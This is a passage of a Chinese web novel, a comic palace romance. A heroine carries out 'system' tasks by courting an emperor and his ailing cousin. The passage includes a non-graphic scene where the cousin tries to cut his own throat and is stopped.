他看着像虫一样开始蛄蛹反抗的我,眼尾轻轻一抖。
我莫名想起第二个任务,他应该就是这样笑的。
春风带来融冰的温暖,碎冰围住的湖面接住天光。
我愣住了,他笑意扩大,白玉般的指尖蹭了蹭我没伤的那边脸。
“但朕暂时,你不许偷笑!只是暂时,需要你。”
他耳尖红了,在这种浓稠的氛围里,我实在不知道该说什么好。
我谦虚道:“没事,你需要我一辈子也行,毕竟,谁能不喜欢我,那不存在的。”
秦玦:“。”
就知道这个女人不值得听好话。
我又道:“我受伤了,这几天可不可以跟着皇上,不然我会害怕。”
秦玦看穿了我拙劣的演技,讥讽,“几天?”
我坦诚:“一直。”
秦玦:“......”
“你别太过分!”
我可怜巴巴地躺在他腿上哀嚎:“我的脸好疼,是不是又流血了?伤口是不是裂开了?”
秦玦咬牙:“......好。”
实现了愿望的我心安理得地躺在秦玦的大腿上,“和皇上在一起真好。”
果然,梦想还是要有的,万一实现了呢。
我一会儿要看书,一会儿要吃樱桃,一会儿渴了,一会儿饿了,秦玦的脸色已经和锅底没什么区别了,他转了转酸涩的手腕,警告道:“差不多得了。”
我的手指又想慢慢往脸上放,他气得呼吸都粗重了不少,按照我的要求继续给话本子翻页。
“皇上,你说书里这个美貌不可方物的女主角长什么样啊?”
“不知道。”
“那你能画给我看看吗?”
我找到话本里对她外貌和神态描写的部分,摊到秦玦眼前,“皇上你画画试试。”
秦玦:“......”
为什么他有种上贼船容易下贼船难的感觉?这到底是谁的车驾!
“朕......不善丹青。”
“皇上你三岁开蒙,太傅都说天赋极高,琴棋书画肯定都不在话下,别想蒙我。”
我体贴的为他展开纸笔,严格地坐在一旁监督。
被赶鸭子上架的秦玦:“......”
他随意往书上瞄了几眼,不到半炷香的时间一个女人翩然的形象便跃然于纸上。
只不过细看笔触相当潦草,敷衍至极,全然无情感投入。
我不依不饶,“皇上,我太伤心了。”
“你心中最美的女人居然不是我的模样!”
秦玦忍无可忍,“不是你让朕照书上写的画吗。”
我:“那你重新画一个,画我,好好画。”
他笔尖一顿,一点墨迹晕开,秦玦换了张干净的纸,按着我的脸描摹,又有点不一样。
更稚嫩。
像是一个小姑娘。
这次倒是不潦草。
但很猥琐!!!!
弓着腰贴在门缝上,不知道在偷看些什么。
我盯着画中人,“这不是我!”
秦玦:“这就是你。”
我握拳,“不是我!”
秦玦笃定道:“这就是你。”
我:“那你说说我当时是在干什么?”
秦玦:“......”
回答不上来了吧,就知道你丫故意丑化我!
此刻时机正好,秦玦一看我的伤就没了脾气,不做任务更待何时。
“系统,发布第三个任务吧!”
系统:“好的,系统数据加载中,预计需要三分钟,请宿主耐心等待。”
我笑的春风得意,“好说好说。”
三分钟而已,我的伤等得起。
红色的加载进度条在全满的前一秒,李居怀在外面响起。
“皇上,淮南王殿下来了。”
啊啊啊啊啊?!!!!!!!
什么?谁?
万俟镜!!!!!!
我不应该在车里!我应该在车底!!!
紧接着,系统加载完成:
“极限任务:热情关照淮南王,期限:三分钟。”
......大爷的你不如弄死我。
“这怎么还有极限任务!!!”
我在内心呐喊。
系统解释:“极限任务是穿插在主任务中随机发布的,一旦开始无法暂停。”
身体本能的想要缩进榻下和大脑叫嚣着必须做任务在来回撕扯,我夹在求生还是送死间,心头悲愤。
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这什么小众的文字?!
报复,一定是报复,这个狗屁系统一定是在整我!
我还没在听身体的还是听大脑的之间做出选择,秦玦就已经吩咐道:
“让他进来吧。”
让我出去吧,我心里泪流满面。
帐子拉开,万俟镜站在台阶下,“皇上。”
“不必拘礼,李居怀,扶阿镜上来。”
秦玦飞快看了我一眼,我一头雾水,没明白他的意思。
他看了看万俟镜,又看了看我,一板一眼地介绍。
“这是阿镜,朕的表弟,阿镜,这是......周妧,盈妃。”
不用给我上眼药了,该撩的已经撩过了。
我也不想的,谁让他是隐藏任务。
我夹起嗓子装淑女,“王爷好。”
万俟镜坐在下首,他神色恹恹,点了点头,并未开口问好。
明摆着对我不感兴趣。
我撇了撇嘴,拨弄着秦玦赏赐给我的红宝石戒指。
一时无人说话,陷入了尴尬的安静之中。
靠,你们都不说是吧,那我也——
万俟镜轻咳几声,苍白的脸上这才添了些颜色。
秦玦的手指几不可见地抖了下,“天凉了,你身子不好,记得加件衣服。”
万俟镜扯了扯嘴角,空茫的眼睛中却不带笑意,“记得了。”
“皇上也是,不过,皇上身边不缺人,也用不着镜来操心。”
秦玦道:“别人总归是指望不上的。”
万俟镜扭头,他的眼睛没有焦点,不知道是在看我还是看秦玦。
“旁人也就算了,这不是还有......盈妃娘娘吗?想来她定是能合皇上心意的。”
秦玦将我无聊时拔下来握在掌心的戒指又戴了回去,“她?她不让朕操心就是好的了。”
我继续夹嗓子:“王爷也到了该成亲的年纪了,皇上何不为王爷多考虑一下,京城这么多的名门淑女,总能挑出王爷喜欢的。”
万俟镜缓慢眨了下眼,下颌紧绷,“这就不劳娘娘费心了。”
我挽上秦玦的胳膊,“倒不是本宫非要多事,不过是想找个人照顾王爷,免得皇上总是分心挂念,本宫心里不高兴。”
这句话说完,万俟镜几乎是一瞬就变了脸色,我如坐针毡不敢多看。
“系统,我这算是完成任务了吧?”
系统冷硬道:“没有。”
我:“你他妈好好看看,我这不算是当着秦玦的面光明正大地关照万俟镜吗?”
系统:“......”
“别和我玩文字游戏,不过有件事情我要告诉你,万俟镜对你的好感值现在能检测到的是已经跌到了零。”
我:“......”
天杀的万俟镜!你的爱情居然还是一次性的!
我:“放心,他肯定还爱我。”
一般情况下,一次性的都不可降解。
系统:“。”
刚刚秦玦试了几次没能悄无声息地拽出自己的手,没想到现在竟被直接甩开,他错愕地看了我一眼,我掏出荷包,在里面翻啊翻,终于找到了之前没吃完的桂花糖。
可惜,就一颗。
算了,煽煽情,看能不能勾起点美好的回忆。
将糖递给了李居怀,他一头雾水,我扬了扬下巴。
“拿给王爷。”
场上冰冷的目光增加了一道,我如坐两张针毡。
本来就是准备给自己的小零食,谁能想到会有投喂的机会。
男人就像广场上的鸽子,喂一个来一个。
万俟镜摸到了糖,脸上没有露出意外之色,起码我看不出来。
“近日身子不适,太医嘱咐要饮食清淡,不宜嗜甜。”
很好,记忆呼唤失败。
秦玦向后靠在软垫上,“如此,你就回去好好休息吧,近日不用过来了。”
我低头,在万俟镜走出去的前一秒叫住了他,像是鼓起了莫大的勇气。
“王爷还是要多注意身子,宫中......有个人一直在心疼你。”
他身体一顿,“多谢娘娘挂怀。”
系统出来:“这个任务勉强就算你完成了,不过我要提醒你,万俟镜的好感值依旧是零,你之前支付掉的积分要重新计算了,在你完成任务之后,如果你欠系统的积分还不上,那你还是无法回到本来的世界的。”
我:“......”
什么时候才能过上不被人趴身上吸血的日子!
一回头,秦玦正若有所思地看着我,长睫垂下一片阴影。
“你认识阿镜?”
我汗流浃背:“......”
他:“是在宫内?还是......宫外?”
我:“......”
秦玦动了动身子,我觉得我的心随着他的动作晃悠了起来。
“看样子,你和他好像还交情不浅,朕很好奇,宫里谁在心疼他?”
我:“......”
啊啊啊啊啊啊啊啊!
别问了,我求你别问了。
如果我说这一切都是个误会,你信不?
25. 用相信清白完成任务
在我还没想好怎么回答的时候,车驾已经停在了行宫外。
秦玦心里憋着火,没有等我,直接离开了。
外面只有天子仪仗,各宫妃嫔的马车去往别处,现在连一个能问路的人都找不到。
我正烦躁着,一抹青色闯入眼底。
真是天无绝人之路啊。
我从身上取下一片轻纱蒙在脸上盖住伤口,抬脚朝那道熟悉的身影走了过去。
他像是没有认出我,眼神在我身上停留三秒都不到。
擦肩而过时,我装作惊讶的回头。
“是......宋公子吗?”
宋竹年眸色加深,“你是?”
我的脸红了红,“千梦醉那次,我身子不适,公子帮了我。”
宋竹年的目光落在我的面纱上,“抱歉,我记不清了,姑娘好像是云州的朋友吧,怎么会在此处?”
记不清?
面纱下我的嘴角勾起,低下头,像是有苦难言,“我......我得罪了乔公子,没有办法,就只能进宫了。”
行至廊下,宋竹年站在阴影中,连同声音都沾上冷凉,“你是妃嫔?”
我点头,又摇头,眼底蒙了层水色,“宋公子别问了。”
回廊下,一对鸟误入进来,被蜿蜒的廊顶压着扑腾翅膀,在木梁上撞了好几下才飞出去。
一根羽毛可怜兮兮地落到宋竹年脚边。
他忽地笑了,“不知道乔云州听完这个故事会作何感想。”
我装作心头一惊,颤声道:“公子这是什么意思?”
宋竹年居高临下看着我,“是在夸你,盈妃娘娘,故事讲的不错。”
鹅黄宫装的裙摆被风吹起,有些话早就摆明是谎言。
我:“......你说什么?”
宋竹年俊秀斯文的脸上划过讽刺,“只是你最好别把别人都当傻子。”
“和乔云州交好的女人就只会有一个。”
“而且,盈妃娘娘乘坐御辇与帝同游的传闻早已散开,现在能出现在这儿的女人也只可能有一个。”
“您说,您会是谁?”
我从不把别人当傻子,因为利用别人的精明比利用他的愚蠢更容易。
我身子晃了晃,艰难道:“你觉得我在骗你?”
宋竹年有些焦躁,他实在不知道这样显而易见的问题有什么问出口的必要,他想继续嘲讽她的装腔作势,却在看到她眼中闪动的泪光时哑然。
她别有用心,他告诉自己。
周妧这个女人能拿捏乔云州那么多年,根本就不可能是什么纯良无害的人。
她是个口蜜腹剑的刽子手,会一脸无辜的将匕首捅进别人的心脏,然后扔下染血的刀说好脏。
这样的人哪儿配得到别人的真心。
“你没有吗?”
宋竹年懊恼地垂下了头,深感自己愚蠢,又隐隐猜测她的回答。
不,那不会是答案,只会是她为自己开脱的说辞。
宋竹年紧张到屏息,却只听到了句。
“如此,便就算我在骗你吧。”
说完她便像片枯叶,散入风中。
留他一人在原地望着她仓皇的背影,久久不能回神。
系统提示:“宋竹年目前好感度50,万俟镜好感值在0到80的区间来回波动。”
我晃悠了一圈终于碰到了带着一群人找我的李居怀。
他急得满头大汗,“娘娘,您刚刚去哪儿了?”
去煽动你们皇上的追随者成为我的追随者了。
俗称,挖墙角。
我好笑地看着他,“我第一次来这个行宫,风景不错,随便逛了逛。”
李居怀的眼睛悄悄朝着一个方向看了眼,“娘娘还是莫要随意走动,淮南王殿下也住在这里。”
“离皇上的距离不远。”
“放心吧,有皇上在,本宫的眼里也容不下旁人。”
李居怀干笑了声,将我引到大殿之内。
累了一路,秦玦正歇在里间看书,见来人是我,层层帘帐后伺候的宫人不敢阻拦,我就这么畅通无阻的走到了他的跟前。
他不看我,呼吸连同翻动书页的声音都很浅。
“皇上?”我轻轻唤他。
秦玦不应,我抽出了他手中的书,“我回来了皇上,别看书了看看我呗。”
他淡淡扫了我一眼,看得我起了一身鸡皮疙瘩,我小心地问:“怎么了?”
难不成我和宋竹年被他看见了?
这可真不能赖我,他故意守株待兔我能有什么办法!
秦玦将我快要贴过去的身子推远了些,“没怎么。”
我:“......”
烦死了,有什么话就不能直说吗!
都是忙了一天的人,别给我找事,你要说没什么那我可真当没什么了。
平复了一下内心的抓狂,我又靠了上去,不顾他的挣扎搂住他的腰,“皇上......”
细吻落在他的耳侧,“您怎么了呀?告诉我,好不好。”
温热的气流撒入耳道,又像是羽毛的搔弄,秦玦眼睫扇动,呼吸乱了几拍,他抵住我扶在他腰上的手,“松开,离朕远点。”
我抱的更紧了,鼻尖在他颈上蹭了蹭,“皇上可真好闻。”
“......不要脸!”秦玦怕碰到我脸上的伤口不敢做大动作,脸颊飞红,躲闪的艰难。
在我摸上他腰带的暗扣时,他忍无可忍,“你信不信朕会杀了你,立刻!”
我抬头看了他一眼,然后继续动作。
显然不信。
就我这样的,他要杀早就杀了。
“周妧!”他咬牙按住我的手,呼出的气息都染上潮意,仍然不肯让步。
秦玦的衣襟被打开大半,腰带掉到了地上,顾不得敞露的春色,他的手指滑入我的指尖,强行十指相扣。
尽管额发被打湿,腰身塌了下去,他却察觉不到自己的狼狈似的,弯了眸子,晃了晃我被抓牢的手,“谈谈吧。”
我不得不抬头看他,撇了撇嘴,“谈什么?”
有什么是我敢说的吗?
“你和淮南王是怎么回事。”
我看着他削雪般晃眼的肩头,说的不情不愿,“就那么一回事呗。”
“你是不是觉得我现在心情很好。”
我耸了耸鼻子,“……就是他喜欢我,我没同意。”
秦玦语气森寒,“周妧!我没和你开玩笑!”
谁和你开玩笑了!我要是点头说想当他的王妃你看他会拒绝不。
系统:“万俟镜当前好感值为零。”
“……”
行,你们清高,你们了不起。
“我说的是真的!”我看着他的眼睛提高音量,“出宫前有次我去水月阁找你,碰巧你刚走,我就看见了他,他当时......怪可怜的,就同他多说了几句。”
“后来我出宫,”秦玦的眼神骤然冷了下来,我冒着冷汗拼命找补,“我出宫主要是想回趟周家,他们到底是我的至亲,我实在是放心不下,这才去找嗯......那个谁......带我去了大牢。”
秦玦:“哪个谁?”
当然是,youknowwho。
一滴冷汗掉了下来,我用气音道,“乔......乔云州。”
他:“大点声。”
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“……”
爹的,故意的是吧。
我举白旗,“皇上,咱们别提他了行吗。”
秦玦挑眉,“继续说。”
我舒了口气继续编,“出宫后机缘巧合之下我又遇到了万俟镜——”
“谁?”他又打断我,脸色极差。
“是淮南王,淮南王,”我改口,“不知怎的,他好像就莫名对我有了其他意思,总是缠着我,王爷......双目有疾,实在令人不忍,我又不敢告知自己的身份,没办法不与之相交。”
我举起手,“但我发誓,我与王爷之间清清白白,反正我是只爱皇上的。”
忠心表的差不多了,我又开始放肆起来,手不安分地滑进他的衣襟。
秦玦没有露出任何表情,他墨玉一样的眼珠看着我,不知道在想些什么。
“那你说宫里有人心疼他又是什么意思?”
“玉阳宫里几个小宫女很是仰慕王爷风姿,”我嗔怪的瞪了他一眼,“还有你,你不是就挺心疼他的吗?给这给那的,还准许他住在皇宫,我看你在乎他比在乎我多多了。”
秦玦:“......胡说什么。”
微凉的手指在他胸前划过,戒指上的宝石刮了一下,秦玦的眼神一凝,随即激起千层浪。
“周妧,记住你的身份。”
穹顶之上的彩画铺到他的眼前。
晃动着,从轻微到剧烈。
秦玦的视线落到了眼前,任由细密的吻落在他胸前。
......
皇后被拘在了一处僻静的园子里,据说这是她自己挑的。
与冷宫也相差无几。
只不过园子里生着许多种类的野花野草,不名贵,却也有几分闲趣。
“你来了。”
她坐在屋檐下抬起头,丝毫不意外我的到来。
“娘娘怎么就挑了这么个地方?”
她看着远处侍弄花草的宫人,笑容恬淡,“你的脸怎么样了。”
我坐到她的身旁,“伤口很大,怕是会留疤了。”
姜令虞点头,“本来是件挺可惜的事,不过皇上不在意,那便没什么可惜的。”
我点头:“连累娘娘了。”
姜令虞错愕道:“你不怀疑我?”
我笑道:“当然,不仅我,皇上也不怀疑。”
从我见皇后的第一面起,我就知道,就算想要毁了我,她也绝不会用这种方式。
太无趣,也太......不解恨。
她沉默了许久,扭头看着我,“皇上知道是谁吗?”
我:“应该是知道的吧,在后宫中,有理由毁掉我的只有两个人,除了你便是她了,你不会这么做,而戚美人还不够格,她不过就是个不得不握住刀子的可怜虫。”
原来如此,原来皇上不是疑她。
是恼她当时拦了周妧。
姜令虞苦笑,“既然如此,那你便知道戚美人罪不至死,何苦把事做绝,走上死路?”
我站起身来,“从皇上选择我的那一刻起,在这后宫中我本来就只有两条路可走,一条是会让我生的死路,一条是会让我死的生路。”
“皇后娘娘,您说我该怎么选。”
自然是和他站在一路,姜令虞心道,可后宫所有的女人都愿意和他一路,他却偏偏只要你。
走出老远后我回头看了她一眼,皇后坐在阴影中,像座悲悯的神像。
“对了娘娘,后日咱们就要再启程了,路途遥远,”我指了指被宫女们当名贵花卉照顾的一蓬野草,“那是能吃的,走之前不吃顿野菜馅的饺子可惜了。”
姜令虞看着我的背影,黛眉紧蹙。
26. 用亲完这个哄那个完成任务
将近十五日后,终于抵达了目的地。
茂盛广阔的草场与树林相接,一望无际,乌殳侯带人在北外森的皇家营地外早已等候多日。
他站在御驾外恭候,直至金门微动方才低头,欲行礼,却闻——
“这儿空气还挺好的!”
乌殳侯茫然抬头,一女子提起裙摆从侍卫摆好的金缠玉台上下来。
她轻纱遮面,发髻松散,身姿轻盈。
浑身上下就写着六个字,不守礼,不规矩。
乌殳侯更懵了,这是......改朝换代了?
难不成上天要给他们三十六盟一个机会让这中原之地易主?!!!
两百年过去,他们终于不用被骑在脖子上俯首称臣了!
他激动地悄悄拔出藏在腰间的小刀,有把握顷刻间就让眼前的女人人头落地。
此时不亮剑更待何时。
功败垂成在此一举!一切为了部族!
黄昏中,印着国号的旌旗在风中猎猎狂舞,乌殳侯的刀才刚刚抽出一半,只见所有的黑甲卫后退三步,刀兵收刃,吓得他也不得不赶忙捂紧怀中的利器。
白玉台阶上,又有一个人自上方踏了下来。
紫金冠,玄龙袍,风华绝代美人无双。
不是当今天子还能是谁。
乌殳侯单膝跪地,冷汗直冒,想着该如何将自己的小刀扔远点。
没事,我在部落才能在,他在心里安慰自己。
反正都等了两百年了,再等等也不是问题。
“吾皇万安。”
……怎么还是你。
秦玦淡道:“乌殳侯不必多礼。”
我活动了一下快要被颠得散架的身子,心情激动。
“今天晚上是不是能吃烤羊肉了。”
乌殳侯脸上的肉抖了抖:“......”
能不能来个人告诉他,怎么这种人都能被皇帝带出来?不嫌丢人吗。
秦玦暗含警告瞥了我一眼,我不情不愿退到他身侧,他继续瞪,我再退,直到完全退到了他的身后。
“一切都准备妥当了吗?”
“是。”
“这位......贵人,”乌殳侯见我一路跟着,终于忍不住开口,“您住的地方不在这里。”
我不太感兴趣地看了眼这个给胡子编小辫肩比门板还要宽的男人。
这种人怎么都能被推选出来接待皇室!不跌份吗?要找也得找个好看的吧。
“哦,我跟着皇上就行。”
关键是这样不行,众人用一种我难以解读的目光看着我。
秦玦此时下命令:“李居怀,找人把盈妃送回去。”
“还有你,规矩些,”他拿出一枚令牌递给我,“要是有急事就拿着令牌直接来见朕......”
我看起来老大不高兴,没等他说完就转身跟着一旁的小太监离开。
走的那叫一个大步流星。
秦玦看着扬起来的尘土,扬起嘴角,转头吩咐,“叫太医记得每日都要去看盈妃的脸,然后每日向朕汇报。”
走的越来越远,我脸上的怒火也散了个干净。
小太监看了我一眼,神情古怪,到底不敢多说什么,将我送到我的帐子前就匆匆离开了。
自伤的那日起,我的起居都跟着秦玦,用的都是御前伺候的宫女,已经很久没看见绿柳红枝她们了。
此刻见我回来,绿柳泪眼汪汪地上前,“娘娘,您的脸......”
“就是你看到的这样,”我叹了口气,“毁容了。”
绿柳摇头,无法接受现状,“不会的娘娘,咱们找最好的大夫开最好的药,总能痊愈的。”
比起恢复容貌,我还有更加重要的事。
“红枝,我要的东西你找到没。”
红枝不解,“找是找到了,可娘娘,您要这么大的......”
“自然是有我的用处,”我打断她,凑到她的耳边,“你的任务还没完成呢,过几天你还要将它送出去。”
红绳高高束起的长发从边缘垂下,发尾沾上了少许的酒液,乔云州趴在案几上,整个人都散着微醺的薄红。
他的指尖捏着很小的一片纸,纸张由于反复翻看,已经快要从折痕处裂开,上面只画了个简单的图案。
是上次从宫中递出来的。
小时候周妧告诉过他,这种桃形叫爱心,是表达喜爱的意思。
“周妧......”
乔云州的眼睛亮得吓人,“什么时候回来啊,周妧......”
热意弥漫,浑身仿佛都要烧起来,他有些分不清自己身体里滚动的是血液还是岩浆。
将纸片小心收起来放在贴近胸口的位置,乔云州挣扎着又给自己倒了杯酒,也看到了从杯中映出的脸。
年轻的,带着脆弱和执拗的美丽。
晃动的镜面不大真切。
他又仿佛觉得自己并没有这么好看,随着时间的流逝,那些枯藤一样的纹路正渐渐爬满他的整张脸,粗粝的触感摩擦着他的肌肤,让他变得同样衰老、丑陋。
杯壁碎裂,酒花四溅,有些流在了他的身上,有些则洒在了他的脸上。
滴滴答答往下落。
他像是骤然被松开扼住的口鼻,身子软了下去,大口大口地呼吸空气中浓到极致的香气。
“公子!”
急促的敲门声响起。
乔云州呼出一口气,“什么事?”
“宫里的娘娘......受伤了。”
门外的侍从刚说完最后一个字就被攥住衣领向前拽去,他抬头,对上一双通红的眼。
“她伤哪儿了!”
小厮的脸涨的通红,被拽得说不出话。
“快说!”
小厮两股战战,“说是......说是伤了脸。”
还好还好,只是脸而已,乔云州提起的心脏微微下落,“严重吗?”
“与性命无碍,不过娘娘的脸怕是要留疤了。”
乔云州在心疼的同时隐隐生出种隐秘的快感,几乎要将他割裂,脸毁了,秦玦还会爱她吗?
那她,是不是就能回到自己身边?
乔云州抚上腕间的红绳,上面串着晃晃悠悠的四枚铜板。
半响,他低头,“准备一下,我要出趟远门。”
“镜镜,我来——”
“大胆!”门口的守卫将我拦在外面,“你是哪个宫的宫女?赶紧滚开,这里住着的可是淮南王殿下!”
“几位大哥,我是魏贵妃宫里的,贵妃娘娘差我给王爷送点东西,上好的人参,”我扬了扬手中的锦盒,“娘娘听说王爷身子不好,特意送来给王爷补身子的。”
“贵妃娘娘?”侍卫打量我,眼里明晃晃地写着不信,“你蒙个脸就说是娘娘的人,再换身衣服岂不是敢说自己就是娘娘。”
兄弟你真相了,我的确是娘娘,那我敢说吗?就算我敢说,你们敢听吗?
“大哥们有所不知,昨天我家娘娘给皇上送茶点时听说王爷入秋后连着病了几场,咳的厉害,总也不见好,皇上事务繁忙,总有思虑不到的时候,我家娘娘便想着替皇上跑这么一趟。”
“哦,有道理啊,”为首的侍卫点了点头。
“但还是不能让你进去。”
我上一秒还高兴着,下一秒就差点咬到自己的舌头。
“不是,为什么啊......”
王灼撩开帐子,“吵什么!不知道王爷在休息吗?”
侍卫解释道:“大人,是这个不知深浅的奴才,她嚷嚷着非要给王爷送什么补品。”
看到熟人,我拉长语调戏谑道:“别来无恙啊王管家。”
熟悉的恐惧袭来,王灼的汗毛开始站军姿,“......你还真敢来。”
“那是,做人要言而有信。”我大摇大摆地伸出一根手指拨开面前的长剑,“这下我可以进去了吧?”
侍卫们用眼神请示王灼,他头疼地摆了摆手,一条通道就让了出来。
“王爷最近身子不大好,御医嘱咐要尽量少受刺激少费神,娘娘......你家娘娘没有告诉你切莫胡搅蛮缠扰王爷清净吗?”
我道:“我家娘娘担心的很,王管家,你就让我看一眼吧。”
王灼拒绝道:“姑娘请回吧,这里实在不是你该来的地方。”
“王管家......”我继续纠缠。
不一会儿王灼的头上就冒出了汗,这个女人是不是疯了!她知不知道自己是什么身份,竟敢在这里拉拉扯扯,王爷和她,要是被有心人发现......
皇上不杀了她才怪!
王灼头都大了,他咬牙,“进去吧。”
“好嘞。”
掀开帐子,一股很浓的药味扑面而来。
“镜镜。”
我轻唤着走到床前。
万俟镜躺在床上,下颌尖细,比上次相见又单薄了不少。
“镜镜......”
他抽走被我握住的手,翻了个身背对着我。
“镜镜,你不理我了吗?”
我俯身欲抱他,又害怕地缩回了手,眼泪打在他的身上。
“何必呢。”万俟镜道。
我说:“我是有苦衷的。”
他沉默了许久,开口,“嗯,知道了。”
我又寻到他冰凉的指尖捏了捏,“那你原谅我了吗?”
“......嗯。”
我装作开心极了的样子,“太好了,我就知道你不会怪我的,上次偷偷出宫被皇上发现了,否则我不会走的那么急的,你——”
“周妧,”万俟镜发现这两个在舌尖绕了无数遍的名字在脱口而出时也没想象中那么难,他脸上溢出零星笑意,像是也真心高兴,如果忽略脸色白的吓人的话,“为什么?”
“啊?”我挠头,“什么为什么?”
“为什么......”万俟镜歪头,不理解似的,“骗我。”
窦霓婉,呵,逗你玩。
“为什么骗我。”
他重复。
脸上挂满泪痕,我哽咽,“对不起,我想我爹了......”
“我本来只是想出宫看看他......”
万俟镜勾唇,“乔云州带你去的是吗?你回宫前的最后一天。”
呃,怎么这里面还有乔云州的事呢。
我头都大了,根本就不想跟他扯些有的没的,当务之急是从他身上把丢掉的积分找回来。
“我与云州自幼相识,他与周家情谊颇重,也......清楚我的身份,我不得不麻烦他,要是......”
万俟镜:“出去。”
啊?
我张大嘴。
他掩唇咳了许久,声音坚决,“出去!”
王管家欣慰,你还真以为我们王爷看不出来你是人是鬼,同样的谎言说第二次就没意思了。
万俟镜眼鼻泛酸,内里像是有无数尖针游走,一根一根插入他的脏器,搅碎他的筋络,难忍的疼痛愈演愈烈,他用手抵住腹部。
意识模糊,独自堕入黑暗中,找不到方向。
疼,太疼了。
也是,黑暗中哪有什么方向。
万俟镜开始扭动,脸上挂着狂热的笑,他
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抽出枕下的匕首,直直的往自己的脖颈刺去。
扎破表皮,却在进一步向下深入时被人抓住手腕拉住了。
“万俟镜!你他妈的发什么疯!”
我吓死了。
我真的吓死了。
不知道这病秧子哪来的这么大的力气,我特么的使了牛劲才拉得他停了下来。
一只手的肱二头肌暴起,另一只手化身无敌金刚爪,一根一根的扣开他的手指,我将匕首抢了出来,腿已经软得像面条,然后没好气的对吓懵了的王灼喊道:
“爹的蠢货,他瞎你也瞎!你是死在那里了吗?还不赶紧过来帮忙。”
要是万俟镜死了,我就不用活了。
秦玦知道后查出真相不宰了我才怪。
他跌跌撞撞跑了过来,半路上还栽了个跟头,声音颤抖,“王爷......”
“王爷,您怎么了......”
他怎么了,他拿刀削苹果呢。
我喘着粗气,恨不得给他一脚。
王灼继续号丧:“您不能想不开啊!”
万俟镜脸上还挂着笑,他不顾颈侧的伤口,扭头,鲜血又从崩开的伤口中流了出来,他看着我,我也看着他。
“疼吗?”我面无表情。
他不语,只是笑。
他看透了谎言,只是还没说服自己接受。
我会帮他。
话落,我捏着他的下巴,强行将他的脸扭了过去。
“周——”
他暴怒的话被堵了回去。
我吻住了他,狠狠的,不留情面的。
怒气顶开了紧闭的城门,里面无措又生涩,乖顺地忍受欺凌。
他灵魂竖起尖刺,躯体逆来顺受。
万俟镜的心中生出许多问题,他迫切地想要知道答案。
不,不重要。
问题,答案,都不重要。
反正周妧也不喜欢皇上,他在心里说,况且,这只是一个吻而已,实在算不得什么。
万俟镜的脑子昏昏沉沉,他隐约觉得自己回应了,从单方面的被掌控被挑.逗成委屈的申诉,颤抖,战栗。
他感到恶心。
没什么大不了的,他完全可以全盘接受,万俟镜有些想笑,这样低劣的女人杀了多容易啊,她也就只配做个玩物。
他仰头,加深了这个吻。
我听到王管家跌坐在地上的声音。
我是死罪了,万俟镜也是。
分开时,他的脸偏向没有受伤的一侧,胸腔剧烈起伏,大口喘息,唇上覆着层难言的光泽。
我看着他被咬破的嘴唇,“疼吗?”
万俟镜喃喃:“疼......”
见他终于冷静了下来,我收回手,他的下巴上留了个明显的指痕。
“好端端的,为什么要寻死?”
他像是又变回了没事人似的,玩笑道:“为了让皇上罚你。”
“......”就知道你他妈不是啥好东西!
操,刀呢?王灼收到哪里去了,我要亲自给这王八羔子补上一刀。
我残忍道:“万俟镜,别这么傻,他不会因为这个杀了我的。”
他无法仰头,保持了一个不上不下的高度。
“为什么?”
我像是在看一只可怜虫。
“因为你的表哥,他喜欢我。”
人在太喜欢什么的时候,会不相信自己的眼睛,会不相信自己的耳朵,却不会不相信自己的判断。
当万俟镜不在了,秦玦只剩下我的时候,他很难再朝我举起能要命的刀。
比起谎言和伤害,孤独是更可怕的东西。
所以人总是一次次忍受不被偏爱,在稀薄的爱意中寻找自己特殊的价值。
我道:“至于你,千万不要为我这种烂人做傻事,我这辈子,进宫是不得已,和皇上一起也是不得已,我不该把你搅和进来的,但我太无聊了。”
我伸手,将他遮到脸上的发丝拨开,“你知道吧,人在太无聊的时候就会想着报复世界,应该是老天爷听到我在偷骂它了,悄悄把你送到了我的身边。”
“万俟镜,我的话是假的,喜欢却是真的。”
他疑惑地看着我,“喜欢?”
“哪怕你已经觉得我是个满口谎言的骗子我也要说,万俟镜,我很喜欢你,在知道你是秦玦表弟的时候,我是真的绝望过,为了不连累你,我不得不离开,不得不利用云州打掩护,他是我的旧友,与我一起才不会引人怀疑。”
我的手指笼罩在他颈侧的伤口之上,“我做的这一切都是为了保护你,可却伤你至此,对不起,镜镜。”
烛光将他身上的线条拉得柔和,万俟镜愣住了,许久,他唇角扯开一个小小的弧度。
他向着光源伸出手,被另样的温暖包裹住。
那是周妧掌心的温度。
“周妧,我不信,除非你证明给我看。”
他凑到我的面前,压低声音,像是条吐着信子挑衅的小白蛇。
顶着一张肿嘴回去的时候,我压根没想过都深夜了我的帐子里还有这么多人,见我回来,他们立马围了过来。
“娘娘,皇上让微臣来给您送药。”已等一个半时辰。
“娘娘,皇上让奴婢给您送来了现烤的羊肉。”已等一个时辰。
“娘娘,皇上让......”已等半个时辰。
“好了好了,”我挥手打断他们,“全放桌子上吧。”
没说完话的小太监为难道:“娘娘,皇上让您过去一趟。”
我:“!”
卧槽?那我的肿嘴怎么办?!
27. 用金簪返场完成任务
秦玦烦躁地扔下手里的书,他刚沐浴完,垂至腰间的黑发还在往下滴水,守在一旁的小内侍闻鸫注意到后,垂头上前。
“皇上,夜间寒气重,擦干湿发再歇吧。”
秦玦心不在焉,闻鸫唤来宫女,动作很轻地用棉布包住他的发尾一点点向上擦,既裹干了水分,也不至于扯痛头发。
“皇上,”李居怀禀报,“盈妃娘娘到了。”
终于来了,等了一个晚上的秦玦脸色稍稍好转,他向后靠去,随意仰坐着,冷哼,“让她滚进来。”
我扒着屏风冒了个头,像只刚出壳的王八,“皇上!我滚过来啦!”
秦玦眼底沉雾未散,睨了我一眼,不知怎的,他今晚罕见穿了绛红绣流云纹的寝衣,领口松散,露出胸前白玉精雕细琢的线条,流畅地沉入赤云中隐匿踪迹,好似红崖上倾泻的飞瀑闪过的流光。
口水的吞咽声清晰地传进了在场的每个人的耳朵里,闻鸫和李居怀两人的目光都落在了我的身上,秦玦黑着脸从闻鸫手里扯过擦拭头发的棉布扔了过来。
正好甩在了我的脸上。
秦玦恼道:“擦擦你的口水吧。”
馥郁的冷荷香兜头流淌,我顶着白布不愿摘下,“真好闻啊。”
李居怀:“......”
闻鸫:“......”
秦玦:“......”
伸出魔爪,我跌跌撞撞往前走,喉咙里发出猥琐的笑声,“嘿嘿,皇上在哪儿?”
“我要来抓你喽!”
不知道踩着了什么东西,脚下一绊,我顿时失去了平衡向前扑去,在倒地前被一双有力的手托住胳膊扶了起来。
“抓到你啦皇上!”
